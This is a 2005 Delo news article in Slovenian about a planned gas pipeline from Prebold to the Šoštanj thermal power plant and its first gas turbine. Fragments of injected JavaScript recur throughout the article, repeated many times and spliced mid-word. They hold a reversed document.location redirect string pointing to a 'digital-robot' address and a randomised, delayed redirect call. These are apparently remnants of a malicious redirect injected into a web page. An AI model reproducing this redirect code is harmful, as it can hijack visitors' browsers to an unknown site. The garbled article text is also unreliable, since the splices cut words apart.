Delo – Sre, 16.11.2005 

Plinovod se bliža Šoštanju

Sedemnajst kilometrov ga bo zgradil Geoplin – Prva plinska turbina v Termoelektrarni Šoštanj v začetku leta 2007 Plin tudi za gospodinjstva in tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovarne ob trasi novega plinovoda

Šoštanj – Med Preboldom v Savinjski dolini in termoelektrarno Šoštanj v Šaleški dolini naj bi kmalu začeli graditi 17 kilometrov dolg plinovod. Ta bo namenjen predvsem oskrbovanju prve izmed dveh predvidenih plinskih turbin v Termoelektrarni Šoštanj, obenem pa bo z njim zemeljski plin prispel tudi v Gorenjevo Notranjo opremo v Šmartnem ob Paki ter gospodinjstva v občinah Braslovče in Šmartno ob Paki.

Načrt za gradnjo plinovoda je začel nastajati še za časa prejšnje vlade, zdaj, ko so znane že tudi možne trase plinovoda, pa mora vlada zanj sprejeti državni lokacijski načrt. Plinovod s premerom med 400 in 600 milimetri se bo začel v Preboldu s priključkom na plinovod, ki je speljan med Rogaško Slatino in Vodicami pri Ljubljani. Od tam bo večinoma med hmeljišči in prek Savinje speljan do vasi Gorenje pri Šmartnem ob Paki, natobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pa prek Velikega vrha in po Vrhovnikovem hribu do termoelektrarne. Delno bo speljan pod zemljo, delno nad njo. Plinovod bo zasnovan tako, da bo nanj kasneje mogoče priključiti tudi krak proti Mozirju in Nazarjam.

Že lansko pomlad so bile o plinovodu izvedene javne obravnave, na podlagi pripomb pa so se odločili pred določitvijo natančnejšega poteka plinovoda popisati naravne habitate med Letušem in Šoštanjem, ter upoštevati prostobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torske načrte občin Šmartno ob Paki in Braslovče. Medtem pa so letobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos v Šoštanju sprejeli tudi občinske prostobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torske načrte, ki omogočajo gradnjo plinovoda.

Po sedanjih načrtih, še ne dokončno potrjenih, bi morala družba Geoplin plinovod zgraditi in začeti oskrbovati odjemalce najkasneje do februarja leta 2007. Takrat naj bi namreč v termoelektrarni Šoštanj že pognali prvo plinsko turbino. Kakor je Delo že poročalo, v Premogovniku Velenje in Termoelektrarni Šoštanj zagotavljajo, da uporaba plina kot dodatnega energenta pri proizvodnji električne energije ne bo zmanjšala porabe premoga. S kombinirano uporabo premoga in plina bodo dosegli manjše izpuste ogljikovega dioksida, povečali ekonomičnost svojega največjega petega bloka za štiri odstobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totke ter znižali proizvodno ceno električne energije. Prvi naj bi se kasneje pridružila še druga plinska turbina.